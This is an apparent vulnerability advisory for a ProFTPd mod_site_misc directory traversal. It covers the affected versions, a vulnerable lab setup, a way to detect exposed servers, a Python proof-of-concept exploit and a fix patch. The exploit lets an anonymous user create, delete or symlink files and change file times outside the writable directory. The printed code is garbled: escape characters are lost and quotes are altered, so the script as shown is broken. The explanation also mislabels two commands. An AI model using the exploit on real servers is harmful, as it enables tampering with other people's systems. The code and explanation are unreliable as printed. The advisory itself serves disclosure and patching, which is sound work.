‘ProFTPd mod_site_misc Directory Traversal’

Summary

ProFTPd is a major Open Source FTP server. ProFTPd is for example used by ftp.apple.com, ftp.openssl.org and ftp.rsa.com. When ProFTPd is compiled with mod_site_misc and when a directory is writable, an attacker can use mod_site_misc to, create a directory located outside the writable directory, delete a directory located outside the writable directory, create a symlink located outside the writable directory and change the time of a file located outside the writable directory.’

Credit:

‘The information has been provided by Anonymous researcher working with SecuriTeam Secure Disclosure program.’


Details

Vulnerable Systems:
 * ProFTPd version range 1.3.0a (2006) to 1.3.3b (latest version)
– AND with the mod_site_misc module (not enabled by default in ProFTPd)
– AND with a writable directory (ProFTPd has no default writable directory)

Immune Systems:
 * ProFTPd version 1.3.3c

The mod_site_misc module provides the following FTP commands (http://www.proftpd.org/docs/contrib/mod_site_misc.html):
 – SITE MKDIR : create a directory
 – SITE RMDIR : delete a directory
 – SITE SYMLINK : create a symbolic link
 – SITE UTIME : change the time of a file

This module is provided with ProFTPd source code, but it is not enabled by default.

The ProFTPd configuration file (etc/proftpd.conf) can contain ‘Limit WRITE’ sections to allow/deny users to write inside a
directory. For example:
 <Anonymous ~ftp>
   …
   # Limit WRITE everywhere in the anonymous chroot.
   <Limit WRITE>
     DenyAll
   </Limit>
   # Allow WRITE in this directory only.
   <Directory writableDir>
     <Limit WRITE>
       AllowAll
     </Limit>
   </Directory>
 </Anonymous>
The default ProFTPd configuration does not contain a writable directory.

Installation of ProFTPd with a vulnerable configuration
Download proftpd version 1.3.3b: ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.3b.tar.bz2

Compile with:
 tar jxf proftpd-1.3.3b.tar.bz2
 cd proftpd-1.3.3b
 # Note: the ‘–with-modules’ option enables mod_site_misc.
 ./configure
    –prefix=/usr/local/vulnerableProftpd
    –with-modules=mod_site_misc
 make
 make install

Create a ftp home dir, with the files/directories needed to show the vulnerability:
 mkdir -p /home/ftp
 chown ftp: /home/ftp
 chmod 700 /home/ftp
 echo ‘Hello.’ > /home/ftp/testReadableFile
 chown ftp: /home/ftp/testReadableFile
 chmod 400 /home/ftp/testReadableFile
 mkdir -p /home/ftp/testWritableDirectory
 chown ftp: /home/ftp/testWritableDirectory
 chmod 700 /home/ftp/testWritableDirectory

Change the configuration, to add the writable directory in the anonymous FTP section (it could also be added for a user account section, but this is easier to demonstrate the vulnerability): vi /usr/local/vulnerableProftpd/etc/proftpd.conf
Then, at the end of the ‘<Anonymous …’ block (line 64), add 5 lines:
 <Directory testWritableDirectory/ >
   <Limit WRITE>
     AllowAll
   </Limit>
 </Directory>

So, etc/proftpd.conf should now end with:
 # Limit WRITE everywhere in the anonymous chroot
 <Limit WRITE>
   DenyAll
 </Limit>
 <Directory testWritableDirectory/ >
   <Limit WRITE>
     AllowAll
   </Limit>
 </Directory>
</Anonymous>

Open another root shell and start ProFTPd in interactive mode:
/usr/local/vulnerableProftpd/sbin/proftpd -n

At the end, you will just have to press Control-C in this shell.

Run the demonstration
Run :
chmod +x proof.py
./proof.py localhost

See below for an explanation of expected results.

Explanation of the vulnerability
The demonstrator sends :
 – Two authentication commands:
  USER anonymous
  PASS test@example.com
 – Two commands to ensure the root directory is not writable. Both
  commands will fail (this is normal):
  MKD testWritableDirectory/../testDir
  SITE MKDIR testDir
 – One command to create a directory outside the writable directory:
  SITE MKDIR testWritableDirectory/../testDir
 – One command to delete a directory outside the writable directory:
  SITE RMDIR testWritableDirectory/../testDir
 – One command to create a symlink outside the writable directory:
  SITE UTIME 20000101010101 testWritableDirectory/../testReadableFile
 – One command to change the time of a file outside the directory:
  SITE SYMLINK testReadableFile testWritableDirectory/../testLink

It’s easy to see that SITE commands works if the pathname starts with the writable directory name, followed by ‘../’ to go in the upper directory, followed by the name of the file to process.

So, this vulnerability can be used to:
 – create a directory located outside the writable directory
 – delete a directory located outside the writable directory
 – create a symlink located outside the writable directory
 – change the time of a file located outside the writable directory

Note: this also works with the following command, because SITE MKDIR is recursive, and it creates ‘toBeCreated’ first:
  SITE MKDIR toBeCreated/../testWritableDirectory

Solution:
A patch is proposed:
 cd [src_dir]/proftpd-1.3.3b
 patch -p0 < patch.txt

This patch uses the dir_canonical_path() function inside:
 – mod_site_misc.c:site_misc_mkdir()
 – mod_site_misc.c:site_misc_rmdir()
 – mod_site_misc.c:site_misc_symlink()
 – mod_site_misc.c:site_misc_utime()

The dir_canonical_path() function converts the path ‘testWritableDirectory/../testDir’ to ‘/testDir’, which is not located inside a writable dir, and which is thus forbidden.

How to detect vulnerable servers?
For example, using the ftp command line:
 ftp localhost
 Name: ftp
 Password: test@example.com
 ftp> quote site help
 214-The following SITE commands are recognized (* =>’s unimplemented)
  UTIME <sp> YYYYMMDDhhmm[ss] <sp> path
  SYMLINK <sp> source <sp> destination
  RMDIR <sp> path
  MKDIR <sp> path
  …
 214 End help.
The 4 commands UTIME, SYMLINK, RMDIR and MKDIR are listed. This means that mod_site_misc is enabled.

Then, a writable directory has to be available on the server. It may be found as an unsecured ‘/incoming’ directory for example.

Proof of Concept:
#!/usr/bin/env python

import sys
import socket
from socket import *
import re

##################################################################
def read_a_reply(sread):
       lines = ”
       while True:
               line = sread.readline().rstrip(‘rn’)
               if lines != ”:
                       lines += ‘ ‘
               lines += line
               if re.match(‘[0-9]+ ‘, line):
                       break
       return lines

##################################################################
def proof(host):
       print ‘### Connect to the ‘ + host + ‘ FTP server. ###’
       s = socket(AF_INET, SOCK_STREAM)
       s.connect((host,21))
       sread = s.makefile()
       print ‘ Reply of connect:n ‘ + read_a_reply(sread)

       print ‘### Authenticate as anonymous. ###’
       command = ‘USER anonymous’
       s.send(command + ‘rn’)
       print ‘ Reply of ” + command + ”:n ‘ + read_a_reply(sread)
       command = ‘PASS test@example.com’
       s.send(command + ‘rn’)
       print ‘ Reply of ” + command + ”:n ‘ + read_a_reply(sread)

       print ‘### First, ensure ProFTPd is secured. ###’
       print ‘ *** This command will fail. ***’
       command = ‘MKD testWritableDirectory/../testDir’
       s.send(command + ‘rn’)
       print ‘ Reply of ” + command + ”:n ‘ + read_a_reply(sread)
       print ‘ *** This is normal if this command failed. ***’
       print ‘ *** This command will fail. ***’
       command = ‘SITE MKDIR testDir’
       s.send(command + ‘rn’)
       print ‘ Reply of ” + command + ”:n ‘ + read_a_reply(sread)
       print ‘ *** This is normal if this command failed. ***’

       print ‘### Now, use SITE MKDIR to create a directory outside. ###’
       command = ‘SITE MKDIR testWritableDirectory/../testDir’
       s.send(command + ‘rn’)
       print ‘ Reply of ” + command + ”:n ‘ + read_a_reply(sread)
       print ‘ *** In a shell, run ‘ls -l /home/ftp’ to see the new
directory namedn testDir (note: it will be deleted below, so stop
now to see it). ***’
       # To stop here, uncomment the following ‘return’.
       #return

       print ‘### Now, use SITE RMDIR to delete a directory outside. ###’
       command = ‘SITE RMDIR testWritableDirectory/../testDir’
       s.send(command + ‘rn’)
       print ‘ Reply of ” + command + ”:n ‘ + read_a_reply(sread)
       print ‘ *** In a shell, run ‘ls -l /home/ftp’ to see the
testDir directoryn has been deleted (it was created above by SITE
MKDIR). ***’

       print ‘### Now, use SITE UTIME to change a time outside. ###’
       command = ‘SITE UTIME 20000101010101
testWritableDirectory/../testReadableFile’
       s.send(command + ‘rn’)
       print ‘ Reply of ” + command + ”:n ‘ + read_a_reply(sread)
       print ‘ *** In a shell, run ‘ls -l /home/ftp/testReadableFile’
to see the file daten was changed to 1st of January 2000. ***’

       print ‘### Now, use SITE SYMLINK to create a link outside. ###’
       print ‘ *** This command will fail if the exploit is run more
than oncen (run ‘rm /home/ftp/testLink’ before this script). ***’

       command = ‘SITE SYMLINK testReadableFile
testWritableDirectory/../testLink’
       s.send(command + ‘rn’)
       print ‘ Reply of ” + command + ”:n ‘ + read_a_reply(sread)
       print ‘ *** In a shell, run ‘ls -l /home/ftp/testLink’ to see
the link has beenn created. ***’

       s.close()

##################################################################
##################################################################
if len(sys.argv) != 2:
       print ‘Usage: %s host ‘ % sys.argv[0]
       sys.exit()
host = sys.argv[1]

proof(host)

Patch:
— contrib/mod_site_misc.c.old 2009-11-10 06:02:38.000000000 +0100
+++ contrib/mod_site_misc.c 2010-09-03 12:38:21.000000000 +0200
@@ -277,9 +277,15 @@ MODRET site_misc_mkdir(cmd_rec *cmd) {
      return PR_ERROR(cmd);
    }

+ path = dir_canonical_path(cmd->tmp_pool, path);
+ if (!path) {
+ pr_response_add_err(R_550, ‘%s: %s’, cmd->arg, strerror(EINVAL));
+ return PR_ERROR(cmd);
+ }
+
    cmd_name = cmd->argv[0];
    cmd->argv[0] = ‘SITE_MKDIR’;
– if (!dir_check(cmd->tmp_pool, cmd, G_WRITE, path, NULL)) {
+ if (!dir_check_canon(cmd->tmp_pool, cmd, G_WRITE, path, NULL)) {
      cmd->argv[0] = cmd_name;
      pr_response_add_err(R_550, ‘%s: %s’, cmd->arg, strerror(EPERM));
      return PR_ERROR(cmd);
@@ -325,9 +331,15 @@ MODRET site_misc_rmdir(cmd_rec *cmd) {

    path = pr_fs_decode_path(cmd->tmp_pool, path);

+ path = dir_canonical_path(cmd->tmp_pool, path);
+ if (!path) {
+ pr_response_add_err(R_550, ‘%s: %s’, cmd->arg, strerror(EINVAL));
+ return PR_ERROR(cmd);
+ }
+
    cmd_name = cmd->argv[0];
    cmd->argv[0] = ‘SITE_RMDIR’;
– if (!dir_check(cmd->tmp_pool, cmd, G_WRITE, path, NULL)) {
+ if (!dir_check_canon(cmd->tmp_pool, cmd, G_WRITE, path, NULL)) {
      cmd->argv[0] = cmd_name;
      pr_response_add_err(R_550, ‘%s: %s’, cmd->arg, strerror(EPERM));
      return PR_ERROR(cmd);
@@ -371,9 +383,15 @@ MODRET site_misc_symlink(cmd_rec *cmd) {

    src = pr_fs_decode_path(cmd->tmp_pool, cmd->argv[2]);

+ src = dir_canonical_path(cmd->tmp_pool, src);
+ if (!src) {
+ pr_response_add_err(R_550, ‘%s: %s’, cmd->arg, strerror(EINVAL));
+ return PR_ERROR(cmd);
+ }
+
    cmd_name = cmd->argv[0];
    cmd->argv[0] = ‘SITE_SYMLINK’;
– if (!dir_check(cmd->tmp_pool, cmd, G_READ, src, NULL)) {
+ if (!dir_check_canon(cmd->tmp_pool, cmd, G_READ, src, NULL)) {
      cmd->argv[0] = cmd_name;
      pr_response_add_err(R_550, ‘%s: %s’, cmd->argv[2], strerror(EPERM));
      return PR_ERROR(cmd);
@@ -381,7 +399,13 @@ MODRET site_misc_symlink(cmd_rec *cmd) {

    dst = pr_fs_decode_path(cmd->tmp_pool, cmd->argv[3]);

– if (!dir_check(cmd->tmp_pool, cmd, G_WRITE, dst, NULL)) {
+ dst = dir_canonical_path(cmd->tmp_pool, dst);
+ if (!dst) {
+ pr_response_add_err(R_550, ‘%s: %s’, cmd->arg, strerror(EINVAL));
+ return PR_ERROR(cmd);
+ }
+
+ if (!dir_check_canon(cmd->tmp_pool, cmd, G_WRITE, dst, NULL)) {
      cmd->argv[0] = cmd_name;
      pr_response_add_err(R_550, ‘%s: %s’, cmd->argv[3], strerror(EPERM));
      return PR_ERROR(cmd);
@@ -463,9 +487,15 @@ MODRET site_misc_utime(cmd_rec *cmd) {

    path = pr_fs_decode_path(cmd->tmp_pool, path);

+ path = dir_canonical_path(cmd->tmp_pool, path);
+ if (!path) {
+ pr_response_add_err(R_550, ‘%s: %s’, cmd->arg, strerror(EINVAL));
+ return PR_ERROR(cmd);
+ }
+
    cmd_name = cmd->argv[0];
    cmd->argv[0] = ‘SITE_UTIME’;
– if (!dir_check(cmd->tmp_pool, cmd, G_WRITE, path, NULL)) {
+ if (!dir_check_canon(cmd->tmp_pool, cmd, G_WRITE, path, NULL)) {
      cmd->argv[0] = cmd_name;
      pr_response_add_err(R_550, ‘%s: %s’, cmd->arg, strerror(EPERM));
      return PR_ERROR(cmd);’

Categories: UNIX